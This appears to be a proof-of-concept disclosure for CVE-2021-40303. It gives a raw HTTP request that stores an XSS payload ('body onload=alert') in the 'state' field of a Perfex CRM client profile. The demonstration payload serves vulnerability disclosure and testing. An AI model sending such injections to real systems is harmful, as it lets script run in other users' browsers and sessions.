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CVE-2021-40303 PoC — Perfex Crm 跨站脚本漏洞

Source
Associated Vulnerability
Title:Perfex Crm 跨站脚本漏洞 (CVE-2021-40303)
Description:perfex crm 1.10 is vulnerable to Cross Site Scripting (XSS) via /clients/profile.
Description
perfex crm 1.10 is vulnerable to Stored Cross Site Scripting (XSS) via /clients/profile.
Readme
# CVE-2021-40303
perfex crm 1.10 is vulnerable to Stored Cross Site Scripting (XSS) via /clients/profile.

poc:
```
POST /clients/profile HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------325278703021926100783634528058

Content-Length: 1548

Origin: http://localhost

Connection: close

Referer: http://localhost/clients/profile

Cookie: sp_session=07c611b7b8d391d144a06b39fe55fb91b744a038

Upgrade-Insecure-Requests: 1



-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="profile"



1

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="profile_image"; filename=""

Content-Type: application/octet-stream





-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="firstname"



adfgsg

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="lastname"



fsdgfdg

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="company"



test

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="vat"



1

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="phonenumber"





-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="country"



105

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="city"



asdf

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="address"



asdf

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="zip"



313

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="state"



""><body onload=alert("XSS")>">

-----------------------------325278703021926100783634528058--

then any one open profile page in user the xss its executed
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